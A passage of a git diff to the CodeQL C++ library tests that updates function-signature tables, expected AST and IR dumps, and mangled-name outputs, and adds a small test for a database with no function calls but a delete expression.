unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap_pad | 2 | unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap_pad | 3 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap_pad | 4 | size_t | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap_pad | 5 | block128_f | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap | 0 | void * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap | 1 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap | 2 | unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap | 3 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap | 4 | size_t | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap | 5 | block128_f | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap_pad | 0 | void * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap_pad | 1 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap_pad | 2 | unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap_pad | 3 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap_pad | 4 | size_t | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap_pad | 5 | block128_f | +| (void *,int) | | DSO_dsobyaddr | 0 | void * | +| (void *,int) | | DSO_dsobyaddr | 1 | int | +| (void *,int) | | sqlite3_realloc | 0 | void * | +| (void *,int) | | sqlite3_realloc | 1 | int | +| (void *,int,const OSSL_PARAM[]) | | generic_import | 0 | void * | +| (void *,int,const OSSL_PARAM[]) | | generic_import | 1 | int | +| (void *,int,const OSSL_PARAM[]) | | generic_import | 2 | const OSSL_PARAM[] | +| (void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *) | | ossl_tdes_newctx | 0 | void * | +| (void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *) | | ossl_tdes_newctx | 1 | int | +| (void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *) | | ossl_tdes_newctx | 2 | size_t | +| (void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *) | | ossl_tdes_newctx | 3 | size_t | +| (void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *) | | ossl_tdes_newctx | 4 | size_t | +| (void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *) | | ossl_tdes_newctx | 5 | uint64_t | +| (void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *) | | ossl_tdes_newctx | 6 | const PROV_CIPHER_HW * | +| (void *,size_t) | | JimDefaultAllocator | 0 | void * | +| (void *,size_t) | | JimDefaultAllocator | 1 | size_t | +| (void *,size_t,const EC_POINT *,const EC_KEY *,..(*)(..)) | | ECDH_compute_key | 0 | void * | +| (void *,size_t,const EC_POINT *,const EC_KEY *,..(*)(..)) | | ECDH_compute_key | 1 | size_t | +| (void *,size_t,const EC_POINT *,const EC_KEY *,..(*)(..)) | | ECDH_compute_key | 2 | const EC_POINT * | +| (void *,size_t,const EC_POINT *,const EC_KEY *,..(*)(..)) | | ECDH_compute_key | 3 | const EC_KEY * | +| (void *,size_t,const EC_POINT *,const EC_KEY *,..(*)(..)) | | ECDH_compute_key | 4 | ..(*)(..) | +| (void *,size_t,const char *,int) | | CRYPTO_secure_clear_free | 0 | void * | +| (void *,size_t,const char *,int) | | CRYPTO_secure_clear_free | 1 | size_t | +| (void *,size_t,const char *,int) | | CRYPTO_secure_clear_free | 2 | const char * | +| (void *,size_t,const char *,int) | | CRYPTO_secure_clear_free | 3 | int | +| (void *,size_t,size_t,const char *,int) | | CRYPTO_clear_realloc | 0 | void * | +| (void *,size_t,size_t,const char *,int) | | CRYPTO_clear_realloc | 1 | size_t | +| (void *,size_t,size_t,const char *,int) | | CRYPTO_clear_realloc | 2 | size_t | +| (void *,size_t,size_t,const char *,int) | | CRYPTO_clear_realloc | 3 | const char * | +| (void *,size_t,size_t,const char *,int) | | CRYPTO_clear_realloc | 4 | int | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 0 | void * | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 1 | size_t | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 2 | size_t | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 3 | size_t | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 4 | unsigned int | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 5 | uint64_t | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 6 | const PROV_CIPHER_HW * | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 7 | void * | +| (void *,sqlite3 *,int,const char *) | | useDummyCS | 0 | void * | +| (void *,sqlite3 *,int,const char *) | | useDummyCS | 1 | sqlite3 * | +| (void *,sqlite3 *,int,const char *) | | useDummyCS | 2 | int | +| (void *,sqlite3 *,int,const char *) | | useDummyCS | 3 | const char * | +| (void *,sqlite3_uint64) | | sqlite3_realloc64 | 0 | void * | +| (void *,sqlite3_uint64) | | sqlite3_realloc64 | 1 | sqlite3_uint64 | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 0 | void * | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 1 | unsigned char ** | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 2 | int | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 3 | size_t | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 4 | size_t | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 5 | int | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 6 | const unsigned char * | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 7 | size_t | +| (void *,unsigned char *,size_t *,size_t) | | ossl_ccm_stream_final | 0 | void * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_ccm_stream_final | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_ccm_stream_final | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_ccm_stream_final | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t) | | ossl_cipher_generic_block_final | 0 | void * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_cipher_generic_block_final | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_cipher_generic_block_final | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_cipher_generic_block_final | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t) | | ossl_gcm_stream_final | 0 | void * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_gcm_stream_final | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_gcm_stream_final | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_gcm_stream_final | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_cipher | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_cipher | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_cipher | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_cipher | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_cipher | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_cipher | 5 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_stream_update | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_stream_update | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_stream_update | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_stream_update | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_stream_update | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_stream_update | 5 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_cbc_cts_block_update | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_cbc_cts_block_update | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_cbc_cts_block_update | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_cbc_cts_block_update | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_cbc_cts_block_update | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_cbc_cts_block_update | 5 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_block_update | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_block_update | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_block_update | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_block_update | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_block_update | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_block_update | 5 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_cipher | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_cipher | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_cipher | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_cipher | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_cipher | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_cipher | 5 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_stream_update | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_stream_update | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_stream_update | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_stream_update | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_stream_update | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_stream_update | 5 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_cipher | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_cipher | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_cipher | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_cipher | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_cipher | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_cipher | 5 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_stream_update | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_stream_update | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_stream_update | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_stream_update | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_stream_update | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_stream_update | 5 | size_t | +| (void *,unsigned char *,size_t) | | ossl_drbg_clear_seed | 0 | void * | +| (void *,unsigned char *,size_t) | | ossl_drbg_clear_seed | 1 | unsigned char * | +| (void *,unsigned char *,size_t) | | ossl_drbg_clear_seed | 2 | size_t | +| (void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_new | 0 | void * | +| (void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_new | 1 | void * | +| (void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_new | 2 | block128_f | +| (void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_new | 3 | block128_f | +| (void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_new | 4 | ocb128_f | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 0 | void * | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 1 | void * | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 2 | const OSSL_DISPATCH * | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 3 | ..(*)(..) | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 4 | ..(*)(..) | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 5 | ..(*)(..) | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 6 | ..(*)(..) | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 7 | ..(*)(..) | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 8 | ..(*)(..) | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_dinit | 0 | void * | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_dinit | 1 | void * | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_dinit | 2 | const unsigned char * | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_dinit | 3 | size_t | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_dinit | 4 | const OSSL_PARAM[] | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_einit | 0 | void * | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_einit | 1 | void * | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_einit | 2 | const unsigned char * | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_einit | 3 | size_t | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_einit | 4 | const OSSL_PARAM[] | | (wchar_t *) | CStringT | CStringT | 0 | wchar_t * | | (wchar_t) | | operator+= | 0 | wchar_t | | (wchar_t) | CComBSTR | Append | 0 | wchar_t | diff --git a/cpp/ql/test/library-tests/exprs/min_max/expr.expected b/cpp/ql/test/library-tests/exprs/min_max/expr.expected index ebd03f8b6990..b2ce8fb6e408 100644 --- a/cpp/ql/test/library-tests/exprs/min_max/expr.expected +++ b/cpp/ql/test/library-tests/exprs/min_max/expr.expected @@ -1,6 +1,6 @@ -| test.cpp:3:13:3:13 | i | -| test.cpp:3:13:3:18 | ... ? ... | +| test.cpp:4:13:4:18 | ... ? ... | +| test.cpp:5:18:5:18 | j | diff --git a/cpp/ql/test/library-tests/exprs/min_max/test.cpp b/cpp/ql/test/library-tests/exprs/min_max/test.cpp index d8be21af82aa..f62e08974ce6 100644 --- a/cpp/ql/test/library-tests/exprs/min_max/test.cpp +++ b/cpp/ql/test/library-tests/exprs/min_max/test.cpp @@ -1,3 +1,4 @@ +// semmle-extractor-options: --gnu_version 40200 void f(int i, int j) { int k = i ::B | -| Foo::(unnamed namespace)::A | _ZN3Foo37_GLOBAL__N__13_funcdname_cpp_?AEv | +| Foo::(unnamed namespace)::A | _ZN35_INTERNAL_13_funcdname_cpp_?Foo37_GLOBAL__N__13_funcdname_cpp_?AEv | diff --git a/cpp/ql/test/library-tests/funcdname/funcdname.ql b/cpp/ql/test/library-tests/funcdname/funcdname.ql index 08026d75e597..f3f34005ff64 100644 --- a/cpp/ql/test/library-tests/funcdname/funcdname.ql +++ b/cpp/ql/test/library-tests/funcdname/funcdname.ql @@ -2,4 +2,8 @@ import cpp from Function f, ReturnStmt r where r.getEnclosingFunction() = f -select f.getQualifiedName(), r.getExpr().getValue().regexpReplaceAll("_[0-9a-f]+AEv$", "_?AEv") +select f.getQualifiedName(), + r.getExpr() + .getValue() + .regexpReplaceAll("_[0-9a-f]+AEv$", "_?AEv") + .regexpReplaceAll("cpp_[0-9a-f]+Foo37_", "cpp_?Foo37_") diff --git a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected index 8d36ea7f9529..0b825a0a855b 100644 --- a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected +++ b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected @@ -23814,11 +23814,11 @@ ir.cpp: # 2692| Conversion = [IntegralConversion] integral conversion # 2692| Type = [LongType] unsigned long # 2692| ValueCategory = prvalue -#-----| getExpr().getFullyConverted(): [CStyleCast] (int)... -#-----| Conversion = [IntegralConversion] integral conversion -#-----| Type = [IntType] int -#-----| Value = [CStyleCast] 1 -#-----| ValueCategory = prvalue +# 2692| getExpr().getFullyConverted(): [CStyleCast] (int)... +# 2692| Conversion = [IntegralConversion] integral conversion +# 2692| Type = [IntType] int +# 2692| Value = [CStyleCast] 1 +# 2692| ValueCategory = prvalue # 2693| getStmt(1): [ReturnStmt] return ... # 2693| getExpr(): [VariableAccess] y # 2693| Type = [IntType] int diff --git a/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected b/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected index b95e1b231d8b..20d593e2379a 100644 --- a/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected @@ -19457,11 +19457,11 @@ ir.cpp: # 2691| m2691_3(unknown) = InitializeNonLocal : # 2691| m2691_4(unknown) = Chi : total:m2691_2, partial:m2691_3 # 2692| r2692_1(glval) = VariableAddress[y] : -#-----| r0_1(int) = Constant[1] : -#-----| m0_2(int) = Store[y] : &:r2692_1, r0_1 +# 2692| r2692_2(int) = Constant[1] : +# 2692| m2692_3(int) = Store[y] : &:r2692_1, r2692_2 # 2693| r2693_1(glval) = VariableAddress[#return] : # 2693| r2693_2(glval) = VariableAddress[y] : -# 2693| r2693_3(int) = Load[y] : &:r2693_2, m0_2 +# 2693| r2693_3(int) = Load[y] : &:r2693_2, m2692_3 # 2693| m2693_4(int) = Store[#return] : &:r2693_1, r2693_3 # 2691| r2691_5(glval) = VariableAddress[#return] : # 2691| v2691_6(void) = ReturnValue : &:r2691_5, m2693_4 diff --git a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected index cf8d638e4952..11d74a2a26bd 100644 --- a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected @@ -17775,8 +17775,8 @@ ir.cpp: # 2691| mu2691_2(unknown) = AliasedDefinition : # 2691| mu2691_3(unknown) = InitializeNonLocal : # 2692| r2692_1(glval) = VariableAddress[y] : -#-----| r0_1(int) = Constant[1] : -#-----| mu0_2(int) = Store[y] : &:r2692_1, r0_1 +# 2692| r2692_2(int) = Constant[1] : +# 2692| mu2692_3(int) = Store[y] : &:r2692_1, r2692_2 # 2693| r2693_1(glval) = VariableAddress[#return] : # 2693| r2693_2(glval) = VariableAddress[y] : # 2693| r2693_3(int) = Load[y] : &:r2693_2, ~m? diff --git a/cpp/ql/test/library-tests/ir/no-function-calls/PrintAST.expected b/cpp/ql/test/library-tests/ir/no-function-calls/PrintAST.expected new file mode 100644 index 000000000000..7f15878cf20e --- /dev/null +++ b/cpp/ql/test/library-tests/ir/no-function-calls/PrintAST.expected @@ -0,0 +1,36 @@ +#-----| [CopyAssignmentOperator] __va_list_tag& __va_list_tag::operator=(__va_list_tag const&) +#-----| : +#-----| getParameter(0): [Parameter] (unnamed parameter 0) +#-----| Type = [LValueReferenceType] const __va_list_tag & +#-----| [MoveAssignmentOperator] __va_list_tag& __va_list_tag::operator=(__va_list_tag&&) +#-----| : +#-----| getParameter(0): [Parameter] (unnamed parameter 0) +#-----| Type = [RValueReferenceType] __va_list_tag && +#-----| [Operator,TopLevelFunction] void operator delete(void*) +#-----| : +#-----| getParameter(0): [Parameter] (unnamed parameter 0) +#-----| Type = [VoidPointerType] void * +test.cpp: +# 5| [TopLevelFunction] void foo(int*) +# 5| : +# 5| getParameter(0): [Parameter] x +# 5| Type = [IntPointerType] int * +# 5| getEntryPoint(): [BlockStmt] { ... } +# 6| getStmt(0): [ExprStmt] ExprStmt +# 6| getExpr(): [DeleteExpr] delete +# 6| Type = [VoidType] void +# 6| ValueCategory = prvalue +# 6| getExprWithReuse(): [VariableAccess] x +# 6| Type = [IntPointerType] int * +# 6| ValueCategory = prvalue(load) +# 7| getStmt(1): [ReturnStmt] return ... +# 9| [TopLevelFunction] void bar() +# 9| : +# 11| [TopLevelFunction] void jazz() +# 11| : +# 11| getEntryPoint(): [BlockStmt] { ... } +# 12| getStmt(0): [ExprStmt] ExprStmt +# 12| getExpr(): [FunctionCall] call to bar +# 12| Type = [VoidType] void +# 12| ValueCategory = prvalue +# 13| getStmt(1): [ReturnStmt] return ... diff --git a/cpp/ql/test/library-tests/ir/no-function-calls/PrintAST.ql b/cpp/ql/test/library-tests/ir/no-function-calls/PrintAST.ql new file mode 100644 index 000000000000..03321d9e4910 --- /dev/null +++ b/cpp/ql/test/library-tests/ir/no-function-calls/PrintAST.ql @@ -0,0 +1,11 @@ +/** + * @kind graph + */ + +private import cpp +private import semmle.code.cpp.PrintAST +private import PrintConfig + +private class PrintConfig extends PrintAstConfiguration { + override predicate shouldPrintDeclaration(Declaration decl) { shouldDumpDeclaration(decl) } +} diff --git a/cpp/ql/test/library-tests/ir/no-function-calls/PrintConfig.qll b/cpp/ql/test/library-tests/ir/no-function-calls/PrintConfig.qll new file mode 100644 index 000000000000..aa23cf423add --- /dev/null +++ b/cpp/ql/test/library-tests/ir/no-function-calls/PrintConfig.qll @@ -0,0 +1,24 @@ +private import cpp + +/** + * Holds if the specified location is in standard headers. + */ +predicate locationIsInStandardHeaders(Location loc) { + loc.getFile().getAbsolutePath().regexpMatch(".*/include/[^/]+") +} + +/** + * Holds if the AST or IR for the specified declaration should be printed in the test output. + * + * This predicate excludes declarations defined in standard headers. + */ +predicate shouldDumpDeclaration(Declaration decl) { + not locationIsInStandardHeaders(decl.getLocation()) and + ( + decl instanceof Function + or + decl.(GlobalOrNamespaceVariable).hasInitializer() + or + decl.(StaticLocalVariable).hasInitializer() + ) +} diff --git a/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.expected b/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.expected new file mode 100644 index 000000000000..6b1c7a76a62b --- /dev/null +++ b/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.expected @@ -0,0 +1,38 @@ +test.cpp: +# 5| void foo(int*) +# 5| Block 0 +# 5| v5_1(void) = EnterFunction : +# 5| m5_2(unknown) = AliasedDefinition : +# 5| m5_3(unknown) = InitializeNonLocal : +# 5| m5_4(unknown) = Chi : total:m5_2, partial:m5_3 +# 5| r5_5(glval) = VariableAddress[x] : +# 5| m5_6(int *) = InitializeParameter[x] : &:r5_5 +# 5| r5_7(int *) = Load[x] : &:r5_5, m5_6 +# 5| m5_8(unknown) = InitializeIndirection[x] : &:r5_7 +# 5| m5_9(unknown) = Chi : total:m5_4, partial:m5_8 +# 6| r6_1(glval) = FunctionAddress[operator delete] : +# 6| r6_2(glval) = VariableAddress[x] : +# 6| r6_3(int *) = Load[x] : &:r6_2, m5_6 +# 6| v6_4(void) = Call[operator delete] : func:r6_1, 0:r6_3 +# 6| m6_5(unknown) = ^CallSideEffect : ~m5_9 +# 6| m6_6(unknown) = Chi : total:m5_9, partial:m6_5 +# 7| v7_1(void) = NoOp : +# 5| v5_10(void) = ReturnIndirection[x] : &:r5_7, ~m6_6 +# 5| v5_11(void) = ReturnVoid : +# 5| v5_12(void) = AliasedUse : ~m6_6 +# 5| v5_13(void) = ExitFunction : + +# 11| void jazz() +# 11| Block 0 +# 11| v11_1(void) = EnterFunction : +# 11| m11_2(unknown) = AliasedDefinition : +# 11| m11_3(unknown) = InitializeNonLocal : +# 11| m11_4(unknown) = Chi : total:m11_2, partial:m11_3 +# 12| r12_1(glval) = FunctionAddress[bar] : +# 12| v12_2(void) = Call[bar] : func:r12_1 +# 12| m12_3(unknown) = ^CallSideEffect : ~m11_4 +# 12| m12_4(unknown) = Chi : total:m11_4, partial:m12_3 +# 13| v13_1(void) = NoOp : +# 11| v11_5(void) = ReturnVoid : +# 11| v11_6(void) = AliasedUse : ~m12_4 +# 11| v11_7(void) = ExitFunction : diff --git a/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.ql b/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.ql new file mode 100644 index 000000000000..0488fd09dbed --- /dev/null +++ b/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.ql @@ -0,0 +1,11 @@ +/** + * @kind graph + */ + +private import cpp +private import semmle.code.cpp.ir.implementation.aliased_ssa.PrintIR +private import PrintConfig + +private class PrintConfig extends PrintIRConfiguration { + override predicate shouldPrintDeclaration(Declaration decl) { shouldDumpDeclaration(decl) } +} diff --git a/cpp/ql/test/library-tests/ir/no-function-calls/test.cpp b/cpp/ql/test/library-tests/ir/no-function-calls/test.cpp new file mode 100644 index 000000000000..a892ba41ba2b --- /dev/null +++ b/cpp/ql/test/library-tests/ir/no-function-calls/test.cpp @@ -0,0 +1,13 @@ +// Test for edge case, where we have a database without any function calls or +// where none of the function calls have any arguments, but where we do have +// a delete expression. + +void foo(int* x) { + delete x; +} + +void bar(); + +void jazz() { + bar(); +} diff --git a/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp b/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp index 7b359a046d81..649d99a7575c 100644 --- a/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp +++ 